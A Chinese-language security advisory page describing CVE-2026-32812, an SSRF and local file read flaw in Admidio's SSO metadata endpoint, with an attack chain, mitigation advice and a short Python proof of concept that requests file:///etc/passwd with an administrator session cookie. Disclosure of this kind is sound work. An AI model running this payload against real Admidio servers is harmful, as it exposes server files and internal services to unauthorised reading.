IPBUF安全漏洞报告
English
CVE-2026-32812 CVSS 6.8 中危

CVE-2026-32812 Admidio SSRF及本地文件读取漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32812
漏洞类型
服务端请求伪造 (SSRF), 本地文件读取
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

SSRFLocal File ReadAdmidioCWE-918

漏洞概述

Admidio是一个开源的用户管理解决方案。在5.0.0至5.0.6版本中,其SSO元数据API存在未限制的URL获取漏洞。该漏洞允许经过身份验证的管理员通过特定端点读取任意本地文件或发起SSRF攻击。问题源于仅使用PHP的FILTER_VALIDATE_URL进行验证,该过滤器接受file://、http://等协议,攻击者利用此特性可访问内部服务或敏感文件。该问题已在5.0.7版本中修复。

技术细节

该漏洞位于Admidio的SSO元数据获取模块(modules/sso/fetch_metadata.php)。该接口接收GET参数url,并直接使用file_get_contents()处理该URL。尽管代码使用了PHP的FILTER_VALIDATE_URL进行过滤,但该验证仅检查URL语法合法性,未对协议进行限制。因此,已认证的管理员可利用file://协议读取服务器本地敏感文件(如配置文件、密钥),或利用http://协议探测内网服务(SSRF)。由于直接返回响应体,攻击者可获取完整信息。此漏洞需管理员权限触发,结合其他攻击可造成严重影响。修复版本已实施更严格的协议白名单机制。

攻击链分析

STEP 1
步骤1:权限获取
攻击者通过钓鱼或其他手段获取Admidio系统的管理员账户凭证。
STEP 2
步骤2:访问漏洞端点
攻击者使用管理员身份登录,并访问modules/sso/fetch_metadata.php接口。
STEP 3
步骤3:构造恶意Payload
攻击者在url参数中构造恶意请求,例如使用file:///etc/passwd进行文件读取,或使用http://内网IP进行SSRF探测。
STEP 4
步骤4:服务端处理
服务器端因仅使用FILTER_VALIDATE_URL验证,误判恶意URL合法,通过file_get_contents()读取内容。
STEP 5
步骤5:信息回传
服务器将读取到的本地文件内容或内网服务响应原样返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-admidio-site/modules/sso/fetch_metadata.php" # Malicious payload using file:// protocol to read local files payload = { "url": "file:///etc/passwd" } # Administrator session cookie (required for exploitation) cookies = { "PHPSESSID": "valid_admin_session_id" } try: response = requests.get(target_url, params=payload, cookies=cookies) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Response Body:") print(response.text) else: print("[-] Exploit failed. Status Code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)

影响范围

Admidio 5.0.0 - 5.0.6

防御指南

临时缓解措施
建议立即将系统更新至5.0.7版本。若暂时无法升级,应通过Web应用防火墙(WAF)规则拦截包含file://、http://等非必要协议的请求,或者直接在服务器配置中禁用对modules/sso/fetch_metadata.php的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表